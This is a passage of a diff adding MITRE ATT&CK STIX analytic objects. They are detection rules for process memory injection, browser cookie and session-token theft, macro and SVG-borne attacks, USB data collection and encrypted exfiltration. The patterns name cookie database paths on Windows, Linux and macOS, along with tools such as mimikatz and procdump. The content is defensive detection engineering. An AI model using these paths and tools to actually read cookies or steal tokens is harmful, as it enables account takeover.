"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, process_vm_writev" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "linux:procfs", + "channel": "/proc/[pid]/maps, /proc/[pid]/mem" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetPIDThreshold", + "description": "Limit to sensitive or unexpected processes being targeted (e.g., sshd, init)" + }, + { + "field": "TimeWindow", + "description": "Correlate mmap or writev usage to process access within a short timeframe" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5439d083-91d6-4369-9406-8cfb2cf5cbde", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0508#AN1401", + "external_id": "AN1401" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1401", + "description": "Detects memory-based injection by monitoring `task_for_pid`, `mach_vm_write`, and dylib injection patterns through `DYLD_INSERT_LIBRARIES` or manual memory mapping.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.security, library=libsystem_kernel.dylib" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:syslog", + "channel": "DYLD_INSERT_LIBRARIES anomalies" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcessSignature", + "description": "Expected signing identity or origin of process being injected" + }, + { + "field": "MachSyscallContext", + "description": "Observed syscall combinations (e.g., task_for_pid followed by vm_write)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dd105985-5d61-43f0-b69b-b4fd52632257", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0509#AN1402", + "external_id": "AN1402" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1402", + "description": "Detects suspicious access to browser session cookie storage (e.g., Chrome\u2019s `Cookies` SQLite DB) or memory reads of browser processes. Anomalous injection or memory dump utilities targeting browser processes such as `chrome.exe`, `firefox.exe`, or `msedge.exe`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcessList", + "description": "Monitored browsers (e.g., chrome.exe, firefox.exe)" + }, + { + "field": "AccessToolList", + "description": "Suspicious tools used for injection or memory access (e.g., mimikatz, procdump)" + }, + { + "field": "TargetCookiePaths", + "description": "Locations of cookie stores like `AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies`" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9bcedfe7-c851-418a-b709-dd8883c7fc5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0509#AN1403", + "external_id": "AN1403" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1403", + "description": "Detects access to known browser cookie files (e.g., `~/.mozilla/firefox/*.default/cookies.sqlite`, `~/.config/google-chrome/`) and suspicious reads of browser memory via `/proc/[pid]/mem` or ptrace.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open or read to browser cookie storage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "ptrace syscall or access to /proc/*/mem" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CookieFilePatterns", + "description": "Regex paths to known browser cookie locations" + }, + { + "field": "TimeWindow", + "description": "Correlated time range between cookie read and web upload or process injection" + }, + { + "field": "BrowserProcPatterns", + "description": "Expected names for browser processes being accessed" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3fdd7ef4-b382-4880-9f72-bf0ad696af85", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0509#AN1404", + "external_id": "AN1404" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1404", + "description": "Detects unauthorized access to browser cookie paths (e.g., `~/Library/Application Support/Google/Chrome/Default/Cookies`) or `task_for_pid`/`vm_read` calls to Safari/Chrome memory space.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:unifiedlog", + "channel": "vm_read, task_for_pid, or file open to cookie databases" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "file open for known browser cookie paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetBrowserList", + "description": "List of processes considered web browsers on macOS" + }, + { + "field": "BrowserCookiePathList", + "description": "Cookie database paths specific to each browser" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--916993bd-600a-43e2-abbf-30c56be84459", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0509#AN1405", + "external_id": "AN1405" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1405", + "description": "Detects automation macros or VBA scripts in documents that access browser file paths, read cookie data, or attempt to exfiltrate browser session tokens over HTTP.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "RunMacro" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacroTargetPath", + "description": "Files or directories macros are attempting to access" + }, + { + "field": "HTTPDestinationIPList", + "description": "List of IPs or domains that are uncommon for macro-based HTTP POSTs" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e1d71ce-5653-4580-a609-9832c88e2c87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0509#AN1406", + "external_id": "AN1406" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1406", + "description": "Detects use of session cookies or authentication tokens from unusual user agents or locations. Identifies token reuse without reauthentication or attempts to bypass MFA using previously stolen cookies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:googleworkspace", + "channel": "login with reused session token and mismatched user agent or IP" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:okta", + "channel": "session.token.reuse" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenReuseTimeWindow", + "description": "Max allowed delta between token issuance and second use" + }, + { + "field": "UserAgentAnomalyScore", + "description": "Deviation score from normal browser/device fingerprint" + }, + { + "field": "GeoLocationAnomalyScore", + "description": "Deviation in IP region or ASN per user profile" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--288a28ac-e1e4-4e7e-9156-d3b975ed45ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0510#AN1407", + "external_id": "AN1407" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1407", + "description": "Detects suspicious SVG file creation or download events followed by script engine execution (e.g., wscript.exe, mshta.exe, rundll32.exe), network callbacks, or browser-based credential collection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Threshold between SVG file write and script execution (e.g., < 60s)" + }, + { + "field": "ParentProcessWhitelist", + "description": "Allowlisted script engines that may invoke browsers or JS in benign cases" + }, + { + "field": "FileExtensionPattern", + "description": "Regex or string match for .svg, .svgz, or embedded .svg inside HTML or PDF" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--99bfd95b-256a-4b1d-bf1d-481f47642c15", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0510#AN1408", + "external_id": "AN1408" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1408", + "description": "Detects downloaded SVG files followed by execution of browser processes or tools like xdg-open, and rapid follow-on network connections or process spawns to interpreters like python or bash.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Outbound HTTP/S" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetPaths", + "description": "Suspicious write locations such as /tmp/, ~/Downloads/" + }, + { + "field": "ExecutionContext", + "description": "Processes spawned by browsers or svg-viewing apps that invoke interpreters" + }, + { + "field": "NetworkDestinations", + "description": "URLs/IPs contacted post-SVG access \u2013 may reflect initial C2" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fe1cff12-9772-4ba9-92bc-c26eae79da24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0510#AN1409", + "external_id": "AN1409" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1409", + "description": "Detects SVGs downloaded via browser that invoke AppleScript, osascript, or JavaScriptCore processes, followed by network egress or file drop to LaunchAgents or ~/Library.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptEngines", + "description": "Scriptable binaries such as osascript, jsc, JavaScriptCore \u2013 may vary by OS version" + }, + { + "field": "UserContext", + "description": "Restrict to non-system users or only specific login sessions" + }, + { + "field": "EmbeddedContentIndicators", + "description": "SVGs embedded inside PDFs or HTML with script-based triggers" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4385bff9-e730-48cd-bdfc-43de56c302aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0511#AN1410", + "external_id": "AN1410" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1410", + "description": "Adversary mounts a USB device and begins enumerating, copying, or compressing files using scripting engines, cmd, or remote access tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:System", + "channel": "EventCode=20001/20003" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VolumeLabel", + "description": "Can tune based on known removable device labels or whitelist" + }, + { + "field": "TimeWindow", + "description": "Controls timing between device mount and sensitive file access" + }, + { + "field": "TargetFileType", + "description": "Tune for sensitive file extensions (e.g., .docx, .pdf, .csv)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5312ddd0-dd58-4bcb-afc0-7a05a6b2df42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0511#AN1411", + "external_id": "AN1411" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1411", + "description": "Adversary mounts external drive to /media or /mnt then accesses or copies targeted data via shell, cp, or tar.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read, mount" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "journald:systemd", + "channel": "udisks2 or udevd logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MountPathRegex", + "description": "Filter for unexpected or user-defined mount locations (e.g., /media/usb*)" + }, + { + "field": "AccessMask", + "description": "Tune based on read/write access types seen during collection" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9abfb75c-2051-4549-b458-f09c4e6f4ad3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0511#AN1412", + "external_id": "AN1412" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1412", + "description": "Adversary attaches USB drive and accesses sensitive files using Finder, cp, or bash scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"USBMSC\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "file reads/writes from /Volumes/" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VolumePath", + "description": "Tune by filtering removable media mounted under /Volumes" + }, + { + "field": "UserContext", + "description": "Correlate activity to admin or service accounts for priority" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6869578d-d3e8-4a3c-9717-0a188dc0bafe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0512#AN1413", + "external_id": "AN1413" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1413", + "description": "Detects non-browser processes that establish encrypted outbound connections (e.g., TLS/SSL) to unfamiliar or atypical destinations for the host/user, following a data staging or compression event.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssl.log - Certificate Analysis" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlates file access, encryption, and network transmission within a timeframe (e.g., 5 minutes)." + }, + { + "field": "CertificateIssuerDenylist", + "description": "Blocks or flags untrusted certificate authorities in SSL/TLS handshakes." + }, + { + "field": "BinaryAllowlist", + "description": "Whitelist for known-good applications allowed to use encrypted outbound traffic." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a2309590-988e-4116-85e6-59bfc5357726", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0512#AN1414", + "external_id": "AN1414" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1414", + "description": "Detects staged file access (e.g., archive or obfuscation), followed by an encrypted outbound connection (TLS/HTTPS) from unusual processes such as curl/wget, Python scripts, or custom binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssl.log, conn.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ConnectionDestinationScope", + "description": "Restrict outbound connections to non-corporate domains or IPs." + }, + { + "field": "FileAccessExtensionList", + "description": "List of extensions considered sensitive or exfil-worthy (e.g., .zip, .db, .xlsx)." + }, + { + "field": "SSLClientProcessBaseline", + "description": "Define normal encrypted-traffic-capable binaries." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--46585379-5be9-4ce0-9178-c3492f539e11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0512#AN1415", + "external_id": "AN1415" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1415", + "description": "Detects abnormal encrypted network connections (via TLS/HTTPS) initiated by non-browser binaries, particularly after sensitive file access or compression events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "log stream - file provider subsystem" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssl.log, x509.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OutboundTrafficVolumeThreshold", + "description": "Trigger detection for large amounts of outbound encrypted data." + }, + { + "field": "FileSensitivityContext", + "description": "Tagging and prioritizing high-value directories/files in detection logic." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--20ecf7be-864a-4ae0-be66-cf26ffa9a217", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + 